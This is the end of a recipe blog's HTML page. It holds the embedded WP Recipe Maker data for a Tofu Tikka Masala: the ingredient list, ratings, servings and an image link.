</div></div></div></div><script>window.wprm_recipes = {"recipe-5588":{"type":"food","name":"Tofu Tikka Masala","slug":"wprm-tofu-tikka-masala","image_url":"https:\/\/i0.wp.com\/kindnesskitchen.ca\/wp-content\/uploads\/2017\/04\/IMG_0057-2.jpg?fit=3623%2C2415&ssl=1","rating":{"count":3,"total":15,"average":5,"type":{"comment":3,"no_comment":0,"user":0}},"ingredients":[{"amount":"1","unit":"","name":"block extra firm tofu","notes":"cubed (about 250g)","id":358,"type":"ingredient","uid":0},{"amount":"","unit":"","name":"Oil for sauteeing","notes":"","id":296,"type":"ingredient","uid":1},{"amount":"1","unit":"","name":"onion","notes":"chopped","id":297,"type":"ingredient","uid":2},{"amount":"2","unit":"","name":"green chilies","notes":"or jalapenos seeded and chopped","id":359,"type":"ingredient","uid":3},{"amount":"1","unit":"inch","name":" ginger","notes":"peeled and chopped","id":360,"type":"ingredient","uid":4},{"amount":"3","unit":"cloves","name":"garlic","notes":"minced","id":254,"type":"ingredient","uid":5},{"amount":"1","unit":"tbsp","name":"brown sugar","notes":"","id":319,"type":"ingredient","uid":6},{"amount":"1","unit":"tsp","name":"turmeric","notes":"","id":361,"type":"ingredient","uid":7},{"amount":"2","unit":"tsp","name":"garam masala","notes":"","id":362,"type":"ingredient","uid":8},{"amount":"1\/4-1\/2","unit":"tsp","name":"Indian chili powder","notes":"or cayenne","id":363,"type":"ingredient","uid":9},{"amount":"1","unit":"tbsp","name":"tomato paste","notes":"","id":364,"type":"ingredient","uid":10},{"amount":"1","unit":"","name":"can diced or crushed tomatoes","notes":"","id":368,"type":"ingredient","uid":11},{"amount":"1\/4","unit":"cup","name":"PLAIN vegan yogurt","notes":" optional, see note.","id":369,"type":"ingredient","uid":12},{"amount":"1\/4","unit":"cup","name":"chopped cilantro","notes":"or more to taste","id":367,"type":"ingredient","uid":13}],"originalServings":"3","originalServingsParsed":3,"currentServings":"3","currentServingsParsed":3,"currentServingsFormatted":"3","currentServingsMultiplier":1,"originalSystem":1,"currentSystem":1}}</script>				<div id="print-pdf"></div>
			</body>
</html>